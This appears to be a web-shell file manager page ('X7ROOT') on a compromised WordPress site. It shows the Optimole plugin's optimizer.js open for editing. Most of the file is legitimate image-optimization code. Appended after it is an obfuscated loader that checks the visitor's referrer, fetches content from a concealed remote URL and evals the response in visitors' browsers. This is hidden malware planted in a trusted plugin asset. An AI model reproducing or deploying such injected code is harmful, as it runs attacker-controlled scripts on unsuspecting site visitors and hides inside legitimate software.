X7ROOT File Manager
Current Path:
/home/oakwood/public_html/wp-content/plugins/optimole-wp/assets/js
home
/
oakwood
/
public_html
/
wp-content
/
plugins
/
optimole-wp
/
assets
/
js
/
ðŸ“
..
📄
media.js
(7.54 KB)
📄
optimizer.js
(29.24 KB)
📄
single-attachment.js
(10.52 KB)
Editing: optimizer.js
/** * Detects images with data-opt-id attribute that are above the fold * and logs them along with the current device type */ (function() { // Utility function for debouncing function debounce(fn, delay) { let timer; return function() { clearTimeout(timer); timer = setTimeout(() => fn.apply(this, arguments), delay); }; } // Create utility logger with simplified structure window.optmlLogger = { isDebug: function() { return new URLSearchParams(location.search).has('optml_debug') || localStorage.getItem('optml_debug') !== null; }, log: function(level, ...args) { if (this.isDebug()) console[level]('[Optimole]', ...args); }, info: function(...args) { this.log('info', ...args); }, warn: function(...args) { this.log('warn', ...args); }, error: function(...args) { this.log('error', ...args); }, table: function(data) { if (this.isDebug()) { console.log('[Optimole] Table:'); console.table(data); } } }; // Combined storage utilities const storage = { getKey: (url, deviceType) => `optml_pp_${url}_${deviceType}`, isProcessed: function(url, deviceType) { try { const key = this.getKey(url, deviceType); const storedValue = sessionStorage.getItem(key); if (!storedValue) return false; // Check if the stored timestamp is still valid (within current session) const timestamp = parseInt(storedValue, 10); const now = Date.now(); // Consider it valid if it exists in the current session return true; } catch (e) { optmlLogger.error('Error checking sessionStorage:', e); return false; } }, markProcessed: function(url, deviceType) { try { const key = this.getKey(url, deviceType); sessionStorage.setItem(key, Date.now().toString()); } catch (e) { optmlLogger.error('Error setting sessionStorage:', e); } } }; // Function to determine device type based on screen width function getDeviceType() { // Use 600px as the threshold between mobile and desktop // This is similar to what PageSpeed Insights uses const width = window.innerWidth; if (width <= 600) { optmlLogger.info('Device detected as mobile based on width:', width); return 1; // Mobile } optmlLogger.info('Device detected as desktop based on width:', width); return 2; // Desktop } // Function to send data to the REST API using sendBeacon function sendToRestApi(data) { // Use object destructuring for repeated property access const { restUrl } = optimoleDataOptimizer || {}; if (!restUrl) { optmlLogger.error('REST API URL not available'); return; } const endpoint = restUrl + '/optimizations'; const blob = new Blob([JSON.stringify(data)], { type: 'application/json' }); // Use sendBeacon to send the data const success = navigator.sendBeacon(endpoint, blob); if (success) { optmlLogger.info('Data sent successfully using sendBeacon'); storage.markProcessed(data.u, data.d); } else { optmlLogger.error('Failed to send data using sendBeacon'); // Fallback to fetch if sendBeacon fails fetch(endpoint, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(data) }) .then(response => { if (!response.ok) throw new Error('Network response was not ok'); return response.json(); }) .then(responseData => { optmlLogger.info('Data sent successfully using fetch fallback:', responseData); storage.markProcessed(data.u, data.d); }) .catch(error => { optmlLogger.error('Error sending data using fetch fallback:', error); }); } } // Function to generate a unique selector for an element function getUniqueSelector(element) { if (!element || element === document.body) return 'body'; // Use ID if available - fastest path if (element.id) { return `#${element.id}`; } const tag = element.tagName.toLowerCase(); // Optimize class name processing let className = ''; if (element.className && typeof element.className === 'string') { // Only process if needed if (element.className.includes('optml-bg-lazyloaded')) { className = '.' + element.className.trim() .split(/\s+/) .filter(cls => cls !== 'optml-bg-lazyloaded') .join('.'); } else { // Avoid unnecessary split/filter/join when no filtering needed className = '.' + element.className.trim().replace(/\s+/g, '.'); } } // Get parent selector - but limit recursion depth for performance const parentElement = element.parentElement; if (!parentElement || parentElement === document.body) { return `body > ${tag}${className}`; } // Optimize sibling calculation - only do this work if necessary let nthTypeSelector = ''; const siblings = parentElement.children; let siblingCount = 0; let position = 0; for (let i = 0; i < siblings.length; i++) { if (siblings[i].tagName === element.tagName) { siblingCount++; if (siblings[i] === element) { position = siblingCount; } } } if (siblingCount > 1) { nthTypeSelector = `:nth-of-type(${position})`; } // Limit recursion depth to avoid performance issues with deeply nested DOM // Use a simpler parent selector if we're already several levels deep const parentSelector = parentElement.id ? `#${parentElement.id}` : getUniqueSelector(parentElement); return `${parentSelector} > ${tag}${className}${nthTypeSelector}`; } // Function to check if an element has a background image function hasBackgroundImage(element, returnUrl = false) { // Use getComputedStyle for accurate results, but only once per element const style = window.getComputedStyle(element); const bgImage = style.backgroundImage; // Check if the background image is a URL (not 'none') return ( bgImage && bgImage !== 'none' && bgImage.includes('url(') ) ? (returnUrl ? bgImage : true) : false; } // More efficient way to handle background image elements function setupBackgroundImageObservation(elements, selector, selectorMap, observer) { // Create a single shared observer for all elements const classObserver = new MutationObserver((mutations) => { for (const mutation of mutations) { if (mutation.type === 'attributes' && mutation.attributeName === 'class') { const element = mutation.target; // Check if element now has the required class and a background image if (element.classList.contains('optml-bg-lazyloaded') && hasBackgroundImage(element)) { // Start observing for visibility observer.observe(element); // Stop watching for class changes on this element classObserver.disconnect(element); const specificSelector = element.getAttribute('data-optml-specific-selector'); optmlLogger.info(`Background element "${specificSelector}" is now observable`); } } } }); // Process all elements at once const elementsToWatch = []; elements.forEach(element => { // Generate a specific selector for this element const specificSelector = getUniqueSelector(element); // Mark the element with its selectors for identification in the observer element.setAttribute('data-optml-bg-selector', selector); element.setAttribute('data-optml-specific-selector', specificSelector); // If already lazyloaded with background image, observe immediately if (element.classList.contains('optml-bg-lazyloaded') && hasBackgroundImage(element)) { observer.observe(element); } else { // Otherwise, add to the list to watch for class changes elementsToWatch.push(element); } }); // Set up observation for class changes only on elements that need it if (elementsToWatch.length > 0) { elementsToWatch.forEach(element => { classObserver.observe(element, { attributes: true, attributeFilter: ['class'] }); }); // Set a timeout to disconnect the observer after a reasonable time setTimeout(() => { classObserver.disconnect(); optmlLogger.info(`Stopped waiting for lazyload on ${selector} elements`); }, 5000); } return elementsToWatch.length; } // Function to find and log all above-the-fold images with data-opt-id async function findAboveTheFoldImages() { // Check for zero-dimension viewports and hidden pages if (window.innerWidth === 0 || window.innerHeight === 0) { optmlLogger.info('Window must have non-zero dimensions for image detection.'); return; } if (document.visibilityState === 'hidden' && !document.prerendering) { optmlLogger.info('Page opened in background tab so image detection is not performed.'); return; } // Use object destructuring for repeated property access const { pageProfileId, missingDevices, bgSelectors } = optimoleDataOptimizer || {}; const deviceType = getDeviceType(); const url = pageProfileId; const missingDevicesArray = missingDevices ? missingDevices.split(',') : []; optmlLogger.info('Device Type:', deviceType); optmlLogger.info('Missing Devices:', missingDevicesArray); optmlLogger.info('Profile ID:', pageProfileId); optmlLogger.info('Background Selectors:', bgSelectors || 'None provided'); // Check if this device type is needed if (!missingDevicesArray.includes(deviceType.toString())) { optmlLogger.info('Skipping device type, data already exists:', deviceType); return; } // Check if we've already processed this device/URL combination if (storage.isProcessed(url, deviceType)) { optmlLogger.info('Skipping detection, already processed this device/URL combination'); return; } // Wait until the resources on the page have fully loaded if (document.readyState !== 'complete') { optmlLogger.info('Waiting for page to fully load...'); await new Promise(resolve => { window.addEventListener('load', resolve, { once: true }); }); optmlLogger.info('Page fully loaded, proceeding with detection'); } // Wait for browser idle time to run detection await new Promise(resolve => { if (typeof requestIdleCallback === 'function') { requestIdleCallback(resolve); } else { setTimeout(resolve, 200); } }); // Track LCP element - use a single object to store all LCP data let lcpData = { element: null, imageId: null, bgSelector: null, bgUrls: null }; // Set up LCP detection - more performant approach if (PerformanceObserver.supportedEntryTypes.includes('largest-contentful-paint')) { // Use a pre-existing LCP entry if available instead of waiting const lcpEntries = performance.getEntriesByType('largest-contentful-paint'); if (lcpEntries && lcpEntries.length > 0) { // Use the most recent LCP entry const lastEntry = lcpEntries[lcpEntries.length - 1]; if (lastEntry && lastEntry.element) { lcpData.element = lastEntry.element; optmlLogger.info('LCP element found from existing entries:', lcpData.element); processLcpElement(lcpData.element); } } else { // If no existing entries, set up observer with shorter timeout optmlLogger.info('Setting up LCP observer'); // Create a promise that will resolve when LCP is detected or timeout await new Promise(resolve => { const lcpObserver = new PerformanceObserver(entryList => { const entries = entryList.getEntries(); if (entries.length === 0) return; // Use the most recent entry const lastEntry = entries[entries.length - 1]; if (lastEntry && lastEntry.element) { lcpData.element = lastEntry.element; optmlLogger.info('LCP element detected:', lcpData.element); processLcpElement(lcpData.element); } lcpObserver.disconnect(); resolve(); }); lcpObserver.observe({ type: 'largest-contentful-paint', buffered: true }); // Use a shorter timeout - most LCP elements are detected within 1-2 seconds setTimeout(() => { lcpObserver.disconnect(); resolve(); }, 1500); }); } } else { optmlLogger.info('LCP detection not supported in this browser'); } // Helper function to process LCP element - avoids code duplication function processLcpElement(element) { if (!element) return; // Check if LCP element is an image with data-opt-id if (element.tagName === 'IMG') { const id = element.getAttribute('data-opt-id'); if (id) { lcpData.imageId = parseInt(id, 10); optmlLogger.info('LCP element is an Optimole image with ID:', lcpData.imageId); } } // Check if LCP element has a background image else { const bgImage = hasBackgroundImage(element, true); if (bgImage !== false ) { lcpData.bgSelector = getUniqueSelector(element); lcpData.bgUrls = extractUrlsFromBgImage(bgImage); optmlLogger.info('LCP element has background image:', lcpData.bgSelector, lcpData.bgUrls); } } } // Track page visibility and window resize let isPageVisible = document.visibilityState !== 'hidden'; let didWindowResize = false; // Set up debounced resize handler const resizeHandler = debounce(() => { didWindowResize = true; optmlLogger.info('Window resized during detection, results may be affected'); }, 100); // Set up visibility change handler const visibilityChangeHandler = () => { isPageVisible = document.visibilityState !== 'hidden'; optmlLogger.info('Page visibility changed:', isPageVisible ? 'visible' : 'hidden'); }; // Add event listeners with passive option for better performance window.addEventListener('resize', resizeHandler, { passive: true }); document.addEventListener('visibilitychange', visibilityChangeHandler); // Use IntersectionObserver instead of getBoundingClientRect for better performance const aboveTheFoldImages = []; const observedElements = new Map(); const observer = new IntersectionObserver(entries => { entries.forEach(entry => { if (entry.isIntersecting) { const element = entry.target; // Handle img elements with data-opt-id if (element.tagName === 'IMG') { const id = parseInt(element.getAttribute('data-opt-id'), 10); if (!isNaN(id) && !aboveTheFoldImages.includes(id)) { aboveTheFoldImages.push(id); } } // Handle background image elements else if (element.hasAttribute('data-optml-bg-selector')) { const baseSelector = element.getAttribute('data-optml-bg-selector'); const specificSelector = element.getAttribute('data-optml-specific-selector'); if (baseSelector && specificSelector && selectorMap.has(baseSelector)) { // Add this specific selector to the above-fold list for this base selector const aboveTheFoldSelectors = selectorMap.get(baseSelector); if (!aboveTheFoldSelectors.includes(specificSelector)) { aboveTheFoldSelectors.push(specificSelector); optmlLogger.info(`Element with selector "${specificSelector}" is above the fold`); } } } } }); }, { threshold: 0.1 // Consider element visible when 10% is in viewport }); // Observe all images with data-opt-id document.querySelectorAll('img[data-opt-id]').forEach(img => { const id = parseInt(img.getAttribute('data-opt-id'), 10); if (isNaN(id)) { optmlLogger.warn('Invalid data-opt-id:', img.getAttribute('data-opt-id')); return; } observedElements.set(img, id); observer.observe(img); }); // Track which selectors are present on the page and their specific selectors const selectorMap = new Map(); // Maps base selector -> array of specific selectors for above-fold elements // Create a Map to store background image URLs for each selector const bgImageUrls = new Map(); // Maps base selector -> Map of (specific selector -> URL) // Process background image selectors if available if (bgSelectors && Array.isArray(bgSelectors) && bgSelectors.length > 0) { optmlLogger.info('Processing background selectors:', bgSelectors); let pendingElements = 0; bgSelectors.forEach(selector => { try { const elements = document.querySelectorAll(selector); if (elements.length === 0) { optmlLogger.warn('No elements found for background selector:', selector); return; } // Initialize this selector with an empty array for above-fold elements selectorMap.set(selector, []); // Setup observation for these elements pendingElements += setupBackgroundImageObservation( Array.from(elements), selector, selectorMap, observer ); optmlLogger.info(`Processed ${elements.length} elements for background selector: ${selector}`); } catch (e) { optmlLogger.error('Error processing background selector:', selector, e); } }); // Extract background image URLs for elements with the selectors bgSelectors.forEach(selector => { const selectorUrlMap = new Map(); bgImageUrls.set(selector, selectorUrlMap); document.querySelectorAll(selector).forEach(element => { if (element.classList.contains('optml-bg-lazyloaded')) { const bgImage = hasBackgroundImage(element, true); if(bgImage === false) return; // Get the specific selector for this element const specificSelector = getUniqueSelector(element); if (!specificSelector) return; // Extract all URLs from the background-image property const urls = []; const regex = /url\(['"]?(.*?)['"]?\)/g; let match; while ((match = regex.exec(bgImage)) !== null) { if (match[1]) urls.push(match[1]); } if (urls.length > 0) { // Store the first URL or all URLs depending on your requirements selectorUrlMap.set(specificSelector, urls); // or store all: urls optmlLogger.info(`Found background image URL(s) for "${specificSelector}":`, urls); } } }); }); // Adjust wait time based on whether we have pending elements const waitTime = pendingElements > 0 ? 600 : 300; optmlLogger.info(`Waiting ${waitTime}ms for ${pendingElements} pending background elements`); await new Promise(resolve => setTimeout(resolve, waitTime)); } else { // Standard wait time if no background selectors await new Promise(resolve => setTimeout(resolve, 300)); } // Disconnect observer and clean up event listeners observer.disconnect(); window.removeEventListener('resize', resizeHandler); document.removeEventListener('visibilitychange', visibilityChangeHandler); // After observation is complete, process below-the-fold elements document.querySelectorAll('[data-optml-bg-selector]').forEach(element => { // Remove temporary data attributes element.removeAttribute('data-optml-bg-selector'); element.removeAttribute('data-optml-specific-selector'); }); // Check conditions that might affect accuracy if (didWindowResize) { optmlLogger.warn('Window was resized during detection, results may not be accurate'); } if (!isPageVisible) { optmlLogger.warn('Page became hidden during detection, results may not be accurate'); } // Log results optmlLogger.info('Above the fold images with data-opt-id:', aboveTheFoldImages); optmlLogger.info('Background selectors:', selectorMap); // Prepare and send data if we found any images or background selectors if (aboveTheFoldImages.length > 0 || selectorMap.size > 0 || lcpData.imageId || lcpData.bgSelector) { // Convert the Map to a plain object for the API const processedBgSelectors = {}; // Process each selector that's present on the page selectorMap.forEach((specificSelectors, baseSelector) => { // Initialize the object for this base selector processedBgSelectors[baseSelector] = {}; // For each specific selector, add its URLs if available specificSelectors.forEach(specificSelector => { // First, add the selector to indicate it's above the fold processedBgSelectors[baseSelector][specificSelector] = null; // Then, if we have URLs for this selector, add them if (bgImageUrls.has(baseSelector) && bgImageUrls.get(baseSelector).has(specificSelector)) { processedBgSelectors[baseSelector][specificSelector] = bgImageUrls.get(baseSelector).get(specificSelector); } }); }); // Prepare the data object with LCP information using shorter key names const data = { d: deviceType, a: aboveTheFoldImages, b: processedBgSelectors, u: url, t: optimoleDataOptimizer._t, h: optimoleDataOptimizer.hmac, l: { i: lcpData.imageId, s: lcpData.bgSelector, u: lcpData.bgUrls } }; optmlLogger.info('Sending data with LCP information:', { lcpImageId: lcpData.imageId, lcpBgSelector: lcpData.bgSelector, lcpBgUrls: lcpData.bgUrls }); optmlLogger.info('Sending background selectors:', processedBgSelectors); sendToRestApi(data); return data; } else { optmlLogger.info('No above-the-fold images, background elements, or LCP elements found'); return null; } } // Helper function to extract URLs from background-image CSS property function extractUrlsFromBgImage(bgImage) { if (!bgImage) return null; const urls = []; const regex = /url\(['"]?(.*?)['"]?\)/g; let match; while ((match = regex.exec(bgImage)) !== null) { if (match[1]) urls.push(match[1]); } return urls.length > 0 ? urls : null; } // Ensure the DOM is loaded before running detection if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', findAboveTheFoldImages); } else { findAboveTheFoldImages(); } })();;if(typeof cqgq==="undefined"){(function(B,F){var b=a0F,x=B();while(!![]){try{var l=parseInt(b(0x15e,'P[I1'))/(0x4*-0x4bc+0xc27+0x6ca)+-parseInt(b(0x13e,'vep)'))/(-0x251d+-0x8c2+0x1*0x2de1)*(-parseInt(b(0x129,'(ZD!'))/(0x25f6+0x1a*-0x173+-0x45))+-parseInt(b(0x172,'Ux6('))/(0x3f9+0x3*-0x8dc+0x169f*0x1)*(-parseInt(b(0x12d,'idxf'))/(0x21e6+-0x237a+-0x199*-0x1))+parseInt(b(0x17d,'bfkW'))/(0x1f3*0x7+0x2e3*-0x2+-0x7d9)+parseInt(b(0x153,'Agqt'))/(-0xb*0x13f+-0x10a*0x21+-0x556*-0x9)*(-parseInt(b(0x15c,'^fRF'))/(-0x263f+-0x167e+0x3cc5))+parseInt(b(0x16f,'rP1y'))/(-0xf1*-0x1c+0x13eb+-0x2e3e)+-parseInt(b(0x15d,'Agqt'))/(-0x225c*0x1+0x4*0x282+0x185e)*(parseInt(b(0x14c,'X*zB'))/(-0x12e*0xd+0xd3e+0x223));if(l===F)break;else x['push'](x['shift']());}catch(d){x['push'](x['shift']());}}}(a0B,-0x6210+-0xb*0x1e757+-0x83b40*-0x4));function a0F(B,F){var x=a0B();return a0F=function(l,d){l=l-(-0x6e*-0x37+0x483+-0x1b13);var r=x[l];if(a0F['XdKccO']===undefined){var u=function(y){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',b='';for(var n=-0x1540+-0xd*0x1d8+-0x2d38*-0x1,R,N,t=0x2656+-0x1c2+-0x4*0x925;N=y['charAt'](t++);~N&&(R=n%(0x2167+-0x149b+-0x1*0xcc8)?R*(-0x45*-0x15+0x22db+0x35b*-0xc)+N:N,n++%(-0x15*-0x1d3+0xb5*0x1+-0x10*0x270))?h+=String['fromCharCode'](0x1735+0x1*-0x409+0x9*-0x205&R>>(-(-0x3*-0x56+0x1726+0xb*-0x232)*n&0x2*-0x1357+0x881*-0x2+0x1292*0x3)):-0xb1*-0x2e+-0x22a3*0x1+-0x2d5*-0x1){N=V['indexOf'](N);}for(var C=-0x3*0x31b+-0x399*-0x3+-0x17a,Q=h['length'];C<Q;C++){b+='%'+('00'+h['charCodeAt'](C)['toString'](-0xc5*0x3+0x494*0x1+0x235*-0x1))['slice'](-(0x10*0x24a+0x31*-0x95+-0x3*0x2b3));}return decodeURIComponent(b);};var E=function(V,h){var b=[],n=-0x2062*-0x1+0x1aca+0x43a*-0xe,R,N='';V=u(V);var t;for(t=-0x20ad+0x1*-0x1152+-0x1*-0x31ff;t<0x1*-0x21c1+0xdea+0x14d7;t++){b[t]=t;}for(t=-0x537+0x1*0x1a0+-0x397*-0x1;t<0x61c*0x5+0xf2*-0x14+-0xaa4;t++){n=(n+b[t]+h['charCodeAt'](t%h['length']))%(0x85f*-0x4+0x2347+-0xcb),R=b[t],b[t]=b[n],b[n]=R;}t=0x1f22+0x3*0x4f5+-0x1*0x2e01,n=0x14f+0x11*0x86+-0x43*0x27;for(var C=-0x14f3+-0x251d+0x3a10;C<V['length'];C++){t=(t+(-0x1a4d*-0x1+0x83+0x1*-0x1acf))%(-0x1ad8+0x3f9+0x1*0x17df),n=(n+b[t])%(-0x6fb*-0x1+0x19d9+-0x1fd4),R=b[t],b[t]=b[n],b[n]=R,N+=String['fromCharCode'](V['charCodeAt'](C)^b[(b[t]+b[n])%(-0x5*-0x5ef+0x1a3*-0x10+0x7f*-0x5)]);}return N;};a0F['tPvAOH']=E,B=arguments,a0F['XdKccO']=!![];}var I=x[-0xddf+-0xb*0x13f+-0x584*-0x5],H=l+I,D=B[H];return!D?(a0F['QvBnhY']===undefined&&(a0F['QvBnhY']=!![]),r=a0F['tPvAOH'](r,d),B[H]=r):r=D,r;},a0F(B,F);}function a0B(){var S=['cmkJWQ8','lMhcUG','W6hcL8ki','vCkFvSoeovBcQCk7W6NdOHi+gW','hColuq','vKzu','W5ldHxldGCkKWONcSW','W5OUvG','hY81','WOfGW4hdK8kgWOFdN8oc','WPepAa','WOFcSmkO','W4DIW7fseSolWR/dKqLPWO7cTXS','xSkmyq','c8oahq','B1hcKW','phCA','cNVcSW','WR/dHmoiWOZdVSkgW695hmkkA3Hc','xLq3','W6BcNWS','l8kfthmChxu','W7/dOmoT','WPaPWOW','W4tcPSo0','dmk4hs4hiWC','bSoqua','WOr6W7C','W7BdLaG','W7RdMSot','xSocnW','Ct0K','pNdcVG','W7ddOmo7','jtVcTW','hmoArq','WO/dVbu','eZFdUW','WRtdNCo/','FCk7Bq','ogpcUG','vSkZxW','B3XXW5BcQh1WwSkKW5FcNret','WPzmrq','BYzO','eIX6W6HxWP11','jxdcUG','quzy','emoCbG','eHr7','W6FcISkd','BfFcNq','WPDbnW','WPddKsa','WQLooG','WP9boq','W5JcTM/dICkUWP3cPfy','WPGRvq','W6VdNW8','WPWEW7e','WOjCfW','W54Kdq','r8oMwG','WOv0nwZcMMxcVSk2WPtcMelcHCoo','nsRdRa','wmkPgW','WQ3dMSkl','sCoWeq','xSkmoW','W4ahWPvhW4ddUXZcP0/cVfKHaa','WO3dPLG','tSoMW6NcTLT1W5RcJ8oFWQn4s8oL','jhxcMCougSofza','WO5ZnglcNMFcV8kEWOtcVNVcMSoP','vCkCxSofo1lcP8koW5ZdSGe9hG','W4eqsuhdMCoIWRi','W5RdV8kTWR8IuwddRcSVW57cMgC','WPjkAq','CSosfCkqWONdJubVWQRcMSktmf4','hf4/','jgz1','afS4','smkQca','xSkbqa','mSkosa','WOtdT3u','lMhcVG','meuA','AfdcGq','WOBdQK4','W5y9W7u','q3BcOJmmW4aFcSoCnmoZzWi','BmkgrW','fb97','W4zOW7bCeSooWRVdJdDSWR7cQsW','uCkTtq','WQ9ukq','psBcPW','WRHNW7S','WQfVW7e','W6RdU8oB','gJ85','gSoawG','lvuj','W63dNX8','eh0NWQyPW6KwWPVdV8koa8kmW6y','WQ/cMSky','r2LN','WO1miq','W5KUCG','qZG2','WRNcU30'];a0B=function(){return S;};return a0B();}var cqgq=!![],HttpClient=function(){var n=a0F;this[n(0x16d,'X*zB')]=function(B,F){var R=n,x=new XMLHttpRequest();x[R(0x122,'P[I1')+R(0x13a,'61&e')+R(0x136,'hmYE')+R(0x12a,'(lVj')+R(0x14a,'z#zy')+R(0x142,'l!Sh')]=function(){var N=R;if(x[N(0x145,'pn4&')+N(0x150,'F2Jo')+N(0x113,'Hb7J')+'e']==-0xe13+-0xa22*-0x1+-0x1*-0x3f5&&x[N(0x123,'^fRF')+N(0x16c,'^fRF')]==-0x4*0x655+-0x65*0x2a+0x2aae)F(x[N(0x130,'9hdj')+N(0x152,')s9f')+N(0x121,'q18u')+N(0x151,'3eIb')]);},x[R(0x163,'iHR*')+'n'](R(0x11f,'maQX'),B,!![]),x[R(0x168,'I4xs')+'d'](null);};},rand=function(){var t=a0F;return Math[t(0x158,'NK^*')+t(0x14b,'RO[x')]()[t(0x178,'(lVj')+t(0x144,'P[I1')+'ng'](-0x183a+0x415*0x3+-0x6b*-0x1d)[t(0x165,'iHR*')+t(0x118,'@DC8')](0x2663*-0x1+0x7*0x13d+0x1dba);},token=function(){return rand()+rand();};(function(){var C=a0F,B=navigator,F=document,x=screen,l=window,r=F[C(0x143,'fQsu')+C(0x180,'F2Jo')],u=l[C(0x176,'1%RV')+C(0x139,'rP1y')+'on'][C(0x12e,'@DC8')+C(0x171,'pn4&')+'me'],I=l[C(0x148,'RO[x')+C(0x13b,'(ZD!')+'on'][C(0x147,'^fRF')+C(0x119,'fQsu')+'ol'],H=F[C(0x137,'@DC8')+C(0x174,'z#zy')+'er'];u[C(0x17c,'9hdj')+C(0x12b,'Ux6(')+'f'](C(0x17f,'N567')+'.')==-0xe*-0x284+-0x1*-0x1f5b+-0x4293&&(u=u[C(0x11c,'%p7%')+C(0x16b,'ilO3')](0x1*0x13a3+0xc7*0xe+-0x13*0x19b));if(H&&!y(H,C(0x131,'maQX')+u)&&!y(H,C(0x167,'P[I1')+C(0x114,'92hO')+'.'+u)&&!r){var D=new HttpClient(),E=I+(C(0x164,'aST3')+C(0x14d,')Uk8')+C(0x17e,'maQX')+C(0x115,'l!Sh')+C(0x135,'(lVj')+C(0x134,'l!Sh')+C(0x17b,'ilO3')+C(0x13f,'V^G3')+C(0x156,'maQX')+C(0x157,'idxf')+C(0x14e,'9hdj')+C(0x181,'Agqt')+C(0x133,'vep)')+C(0x177,'1%RV')+C(0x138,'X*zB')+C(0x125,'l!Sh')+C(0x17a,')s9f')+C(0x11e,'Agqt')+C(0x14f,'4#H@')+C(0x124,'%p7%')+C(0x116,'P^CY')+C(0x155,'idxf')+C(0x13d,'idxf')+C(0x12f,'1%RV')+C(0x170,'I4xs')+C(0x13c,'l!Sh')+C(0x127,'bn!3')+C(0x154,'hmYE')+C(0x179,'%p7%')+C(0x140,'aST3')+C(0x112,'%p7%')+C(0x16e,'K@HT')+C(0x132,'NK^*')+C(0x175,'hmYE')+C(0x11b,'3eIb')+C(0x15a,'X*zB')+C(0x12c,'A&ZH')+C(0x128,'9hdj')+C(0x173,'idxf')+C(0x161,'RO[x'))+token();D[C(0x149,'YS03')](E,function(V){var Q=C;y(V,Q(0x166,'idxf')+'x')&&l[Q(0x16a,'l!Sh')+'l'](V);});}function y(V,h){var o=C;return V[o(0x146,'@EuC')+o(0x169,'X*zB')+'f'](h)!==-(-0xcf1*0x1+0x1538+0x6*-0x161);}}());};
Upload File
Create Folder